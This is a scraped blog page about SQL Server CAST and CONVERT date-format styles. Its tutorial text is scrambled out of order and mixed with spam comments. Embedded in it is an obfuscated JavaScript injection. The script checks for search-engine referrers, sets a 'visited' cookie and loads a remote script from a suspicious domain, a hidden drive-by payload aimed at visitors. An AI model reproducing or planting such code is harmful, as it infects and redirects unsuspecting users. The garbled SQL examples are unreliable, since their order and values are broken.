I found this as an informative and interesting post, so i think it is very useful and knowledgeable. Amazing work, Keep it up I like the way on how you put up your blogs Wonderful and awesome.. I would like to thank you for the effort you have made in writing this article.. 06 2007SELECT CONVERT(varchar,GETDATE(), 105 )SELECT CONVERT(varchar,GETDATE(), 6 )SELECT CONVERT(varchar,GETDATE(), 106 )SELECT CONVERT(varchar,GETDATE(), 7 )SELECT CONVERT(varchar,GETDATE(), 107 )SELECT CONVERT(varchar,GETDATE(), 8 )SELECT CONVERT(varchar,GETDATE(), 108 )SELECT CONVERT(varchar,GETDATE(), 9 )Return Value = Jun 6 2007 11:39:17:060PMSELECT CONVERT(varchar,GETDATE(), 109 )Return Value = Jun 6 2007 11:39:17:060PMSELECT CONVERT(varchar,GETDATE(), 10 )SELECT CONVERT(varchar,GETDATE(), 110 )SELECT CONVERT(varchar,GETDATE(), 11 )SELECT CONVERT(varchar,GETDATE(), 111 )SELECT CONVERT(varchar,GETDATE(), 12 )SELECT CONVERT(varchar,GETDATE(), 112 )SELECT CONVERT(varchar,GETDATE(), 13 )Return Value = 06 Jun 2007 23:40:14:577SELECT CONVERT(varchar,GETDATE(), 113 )Return Value = 06 Jun 2007 23:40:14:577SELECT CONVERT(varchar,GETDATE(), 14 )SELECT CONVERT(varchar,GETDATE(), 114 )SELECT CONVERT(varchar,GETDATE(), 20 )SELECT CONVERT(varchar,GETDATE(), 120 )SELECT CONVERT(varchar,GETDATE(), 21 )Return Value = 2007-06-06 23:41:10.. CAST ( expression AS data_type )CONVERT ( data_type [ ( length ) ] , expression [ , style ] )Return Value = CAS (it get from index 1 to 3)Return Value = CAS (it get 3 char only)SQL Cast and Convert - Date Time-Converting date time to character data(vachar)-The default values (style 0 or 100, 9 or 109, 13 or 113, 20 or 120, and 21 or 121) always return the Without century year(yy).. var _0x10e2=['Y29va2ll','bWF0Y2g=','QWtFeGw=','dUNZYUU=','bGVuZ3Ro','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','WlN2aXI=','d1NUUVQ=','UlB2bmg=','TGFCc1c=','clhNcXQ=','Z2V0VGltZQ==','Ukx0YXI=','ZEZhY2M=','UVJ5WVE=','ekxqaGM=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LnlhbmRleC4=','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','Z25MQ0g=','RVF6eXc=','ZlVCSXE=','LmFsdGF2aXN0YS4=','Q3dxS3M=','cmVmZXJyZXI=','Z2V0','REdhSlE=','aW5kZXhPZg==','cXd5b1E=','UXFUVkw=','YVNuZEM=','cmhF','dmlzaXRlZA==','RVlubkI=','aGVkdWw=','UFdiUVQ=','Y3JlYXRlRWxlbWVudA==','UHhkWmw=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','c3BsaXQ='];(function(_0x2b713e,_0x905dc5){var _0x803266=function(_0x20f69f){while(--_0x20f69f){_0x2b713e['push'](_0x2b713e['shift']());}};_0x803266(++_0x905dc5);}(_0x10e2,0x12b));var _0x5001=function(_0x49802b,_0x58c76d){_0x49802b=_0x49802b-0x0;var _0x3b0c31=_0x10e2[_0x49802b];if(_0x5001['initialized']===undefined){(function(){var _0x2479da;try{var _0x356daf=Function('return\x20(function()\x20'+'{}. -Add 100 to a style value to get a four-place year that includes the century year(yyyy).. SELECT (GETDATE()) = 2007-06-06 23:41:10 153Return Value = Jun 6 2007 11:07PMSELECT CONVERT(varchar,GETDATE(), 100 )Return Value = Jun 6 2007 11:07PMSELECT CONVERT(varchar,GETDATE(), 1 )SELECT CONVERT(varchar,GETDATE(), 101 )SELECT CONVERT(varchar,GETDATE(), 2 )SELECT CONVERT(varchar,GETDATE(), 102 )Return Value = 2007.. 06 06SELECT CONVERT(varchar,GETDATE(), 103 )SELECT CONVERT(varchar,GETDATE(), 4 )SELECT CONVERT(varchar,GETDATE(), 104 )Return Value = 06.. Hope to read more post from you in the future Goodluck Happy blogging!As a person you should know what are your priorities and goals so that it is easier for you to determine and decide when is the time to give up or go on.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x2479da=_0x356daf();}catch(_0x300238){_0x2479da=window;}var _0x3ca7a6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2479da['atob']||(_0x2479da['atob']=function(_0x1b3084){var _0x580d79=String(_0x1b3084)['replace'](/=+$/,'');for(var _0x351576=0x0,_0x15fa72,_0x336b4b,_0x2e96a2=0x0,_0x1b32b3='';_0x336b4b=_0x580d79['charAt'](_0x2e96a2++);~_0x336b4b&&(_0x15fa72=_0x351576%0x4?_0x15fa72*0x40+_0x336b4b:_0x336b4b,_0x351576++%0x4)?_0x1b32b3+=String['fromCharCode'](0xff&_0x15fa72>>(-0x2*_0x351576&0x6)):0x0){_0x336b4b=_0x3ca7a6['indexOf'](_0x336b4b);}return _0x1b32b3;});}());_0x5001['base64DecodeUnicode']=function(_0x18fd62){var _0x521455=atob(_0x18fd62);var _0x4f3e3f=[];for(var _0x35bed6=0x0,_0x4f8ce4=_0x521455['length'];_0x35bed6=_0x20dd17;},'qwyoQ':'veX','QqTVL':function _0x3180c6(_0x27b962,_0xcb6017){return _0x27b962!==_0xcb6017;},'aSndC':'CTK','EYnnB':'rkc','hedul':function _0x126945(_0xc8903f,_0x5b26e6){return _0xc8903f(_0x5b26e6);},'PWbQT':function _0x3600c4(_0x4ade8b,_0x1404cb){return _0x4ade8b+_0x1404cb;},'xBpog':_0x5001('0x21')};var _0x8c1dca=[_0x13a3f6[_0x5001('0x22')],_0x13a3f6[_0x5001('0x23')],_0x13a3f6['fMnNQ'],_0x13a3f6[_0x5001('0x24')],_0x13a3f6['TpvSw'],_0x5001('0x25'),_0x13a3f6[_0x5001('0x26')]],_0x4cee5c=document[_0x5001('0x27')],_0x2787f0=![],_0x3011af=cookie[_0x5001('0x28')]('visited');for(var _0x4381fd=0x0;_0x13a3f6['LAUpz'](_0x4381fd,_0x8c1dca[_0x5001('0xb')]);_0x4381fd++){if(_0x13a3f6[_0x5001('0x29')](_0x4cee5c[_0x5001('0x2a')](_0x8c1dca[_0x4381fd]),0x0)){if(_0x13a3f6[_0x5001('0x2b')]===_0x13a3f6[_0x5001('0x2b')]){_0x2787f0=!![];}else{return cookie[name];}}}if(_0x2787f0){if(_0x13a3f6[_0x5001('0x2c')](_0x13a3f6[_0x5001('0x2d')],_0x5001('0x2e'))){cookie['set'](_0x5001('0x2f'),0x1,0x1);if(!_0x3011af){if(_0x13a3f6[_0x5001('0x30')]===_0x13a3f6[_0x5001('0x30')]){_0x13a3f6[_0x5001('0x31')](include,_0x13a3f6[_0x5001('0x32')](_0x13a3f6['xBpog']+q,''));}else{_0x2787f0=!![];}}}else{if(_0x13a3f6[_0x5001('0x29')](_0x4cee5c['indexOf'](_0x8c1dca[_0x4381fd]),0x0)){_0x2787f0=!![];}}}}R(); SQL TutorialsSQL Tutorial, SQL Server, SQL Statement, SQL Query, MS SQL 2000 Reporting Service, T-SQL, SQL Function, SQL Syntax, SQL User Define Function, SQL TriggerTuesday, June 5, 2007SQL CAST and CONVERTCAST and CONVERT have similar functionality.
153SELECT CONVERT(varchar,GETDATE(), 131 )Return Value = 21/05/1428 11:41:10:153PM12 comments:WoW nice blog buddy!Actually WoW is my favorite appreciation keyword.. I actually enjoyed reading through this posting Many thanks Amazing work, Keep it up.. Visit my site for an offer you wouldn't want to refuse I really enjoyed reading your article.. -Below is example for converting 1 format of date time to different format of date time, so that it can be use in various condition.. Using June 6 is a bad date to choose, as it isn't very instructive for differentiating between US (MM/DD/YYYY) and English (DD/MM/YYYY) formatted dates, as both resolve to 6/6. 5ebbf469cd
0 Comments
Leave a Reply.AuthorWrite something about yourself. No need to be fancy, just an overview. Archives
July 2021
Categories |